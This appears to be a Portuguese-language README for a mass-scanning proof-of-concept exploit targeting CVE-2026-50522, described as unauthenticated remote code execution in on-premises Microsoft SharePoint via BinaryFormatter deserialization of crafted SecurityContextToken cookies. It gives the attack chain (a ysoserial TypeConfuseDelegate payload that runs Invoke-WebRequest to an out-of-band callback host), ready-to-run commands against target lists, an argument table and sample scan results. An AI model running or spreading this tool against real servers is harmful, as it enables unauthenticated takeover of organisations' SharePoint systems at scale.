4minx/cve-2026-50522CVE-2026-50522 PoC
Execução Remota de Código não Autenticada no SharePoint Server via Desserialização do Cookie SecurityContextToken
Exploit de varredura em massa para CVE-2026-50522 visando o Microsoft SharePoint Server on-premises. Abusa da desserialização insegura do BinaryFormatter no endpoint WS-Federation /_trust/default.aspx para obter execução remota de código não autenticada por meio de cookies SecurityContextToken manipulados.
Nota: Este projeto inclui o
ysoserial, uma ferramenta conhecida de teste de penetração, portanto, seu antivírus pode sinalizá-lo ou colocá-lo em quarentena durante o download.
ysoserial.exe gera um payload serializado BinaryFormatter usando o gadget TypeConfuseDelegateInvoke-WebRequest para uma URL de callback out-of-bandSecurityContextTokenRequestSecurityTokenResponse (WS-Federation)wresult é enviado via POST para /_trust/default.aspxrequestspython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
| Argumento | Descrição | Padrão |
|---|---|---|
-t, --target | URL do alvo único | - |
-T, --targets | Arquivo com URLs de alvos, um por linha | - |
-c, --callback-url | URL base de callback OOB (obrigatório) | - |
--callback-mode | path ou subdomain | path |
--ysoserial | Caminho para ysoserial.exe | ysoserial.exe |
-x, --proxy | Proxy HTTP | nenhum |
Modo Path (padrão):
http://YOUR_ID.oastify.com/10.10.10.5
Modo Subdomínio:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed